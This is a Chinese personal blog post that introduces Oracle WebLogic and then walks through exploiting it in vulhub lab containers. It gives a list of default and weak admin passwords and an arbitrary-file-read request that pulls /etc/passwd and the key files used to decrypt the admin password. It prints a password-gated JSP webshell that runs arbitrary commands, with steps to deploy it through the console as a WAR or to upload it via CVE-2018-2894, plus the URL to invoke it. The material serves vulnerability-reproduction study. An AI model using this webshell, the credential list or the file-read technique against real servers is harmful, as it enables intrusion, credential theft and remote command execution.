THIS IS B3c0me

记录生活中的点点滴滴

0%

Weblogic

一、Weblogic介绍

1、简介

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

通俗的讲weblogic是一种web容器,如果你知道apache,tomcat,iis你就应该知道,就是把我们开发的java应用程序运行起来,并提供服务的一种程序。

官方文档地址:http://docs.oracle.com/en/middleware/index.html

2、特性

WebLogic Server具有开发和部署关键任务电子商务Web应用系统 所需的多种特色和优势。

端口:7001

标准
对业内多种标准的全面支持,包括EJB、JSP、Servlet、JMS、JDBC、XML(标准通用标记语言的子集)和WML,使Web应用系统的实施更为简单,并且保护了投资,同时也使基于标准的解决方案的开发更加简便。
可扩展性
WebLogic Server以其高扩展的架构体系闻名于业内,包括客户机连接的共享、资源pooling以及动态网页和EJB组件群集。
快速开发
凭借对EJB和JSP的支持,以及WebLogic Server 的Servlet组件架 构体系,可加速投放市场速度。这些开放性标准与WebGain Studio配合时,可简化开发,并可发挥已有的技能,迅速部署应用系统。

weblogic

weblogic123

1
2
3
4
5
6
7
8
9
服务启动地址:
/opt/weblogic/Oracle/Middleware/user_projects/domains/hnDoMain

cd /opt/weblogic/Oracle/Middleware/user_projects/domains/hnDoMain – 进入创建的域目录bin下

./startWebLogic.sh – 启动weblogic nohup
./startWebLogic.sh & – 后台启动使用
./stopWeblogic.sh – 关闭weblogic

典型界面:

二、Weblogic漏洞复现

1、弱口令

这里使用vulhub的环境

(https://vulhub.org/#/environments/weblogic/weak_password/)

1
2
#启动漏洞环境
docker-compose up -d

启动环境后访问http://ip:7001/console,进入后台

弱口令直接登录

账号:weblogic

密码:Oracle@123

weblogic常用弱口令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
1.  Oracle - WebLogic
Method HTTP
User ID system
Password password
Level Administrator
Doc
Notes Login located at /console

2. Oracle - WebLogic
Method HTTP
User ID weblogic
Password weblogic
Level Administrator
Doc
Notes Login located at /console

3. Oracle - WebLogic
Version 9.0 Beta (Diablo)
User ID weblogic
Password weblogic
Doc

4. Oracle - WebLogic Process Integrator
Version 2.0
User ID admin
Password security
Doc

5. Oracle - WebLogic Process Integrator
Version 2.0
User ID joe
Password password
Doc

6. Oracle - WebLogic Process Integrator
Version 2.0
User ID mary
Password password
Doc

7. Oracle - WebLogic Process Integrator
Version 2.0
User ID system
Password security
Doc

8. Oracle - WebLogic Process Integrator
Version 2.0
User ID wlcsystem
Password wlcsystem
Doc

9. Oracle - WebLogic Process Integrator
Version 2.0
User ID wlpisystem
Password wlpisystem
Doc

如果弱口令不能登录,可以利用以下的任意文件读取获取到秘钥信息从而破译密码

2、任意文件读取

1
weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml,在本环境中为./security/SerializedSystemIni.dat和./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain)

这套环境模拟了一个任意文件下载漏洞

1
http://your-ip:7001/hello/file.jsp?path=/etc/passwd

此处抓包,可以发现直接返回了/etc/passwd下的数据

将”/etc/passwd”改为./security/SerializedSystemIni.dat

抓取秘钥SerializedSystemIni.dat的返回包,复制可能为文本可能会受到一些不可见字符影响,在bp中copy to file ,保存为.dat文件

然后读取密文./config/config.xml找到<node-manager-password-encrypted>的值,即为加密后的管理员密码

然后使用本环境的decrypt目录下的weblogic_decrypt.jar,解密密文(或者参考这篇文章:http://cb.drops.wiki/drops/tips-349.html ,自己编译一个解密的工具):

使用方法:

3、后台部署webshell

  • 首先准备好test.jsp,内容如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <%
    if("Sentiment".equals(request.getParameter("pwd"))){
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
    out.println(new String(b));
    }
    out.print("</pre>");
    }
    %>
  • 将test.jsp打包war文件

  • 登录weblogic后台,选择部署—安装

  • 设置路径并上载上面生成的war文件
1
/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/upload

  • 点击下一步设置访问shell文件的根目录路径(test)

设置好后点击完成

直接shell文件执行命令即可

成功获取webshell(id处)

4、任意文件上传(CVE-2018-2894)

Oracle 修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。

环境准备

(https://vulhub.org/#/environments/weblogic/CVE-2018-2894/)

1
docker-compose up -d

启动环境后访问http://ip:7001/console,进入后台

执行docker-compose logs | grep password可查看管理员密码,管理员用户名为weblogic

登录后台页面,点击base_domain的配置,在“高级”中开启“启用 Web 服务测试页”选项

漏洞复现

访问http://your-ip:7001/ws_utc/config.do

设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

点击提交

我将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。

然后点击安全 -> 添加,然后上传webshell:

注:这里的webshell是shell.jsp,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
<%
if("Sentiment".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

上传后,查看返回的数据包,其中有时间戳:

然后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]?/pwd=Sentiment&cmd=[命令],即可执行webshell:

欢迎关注我的其它发布渠道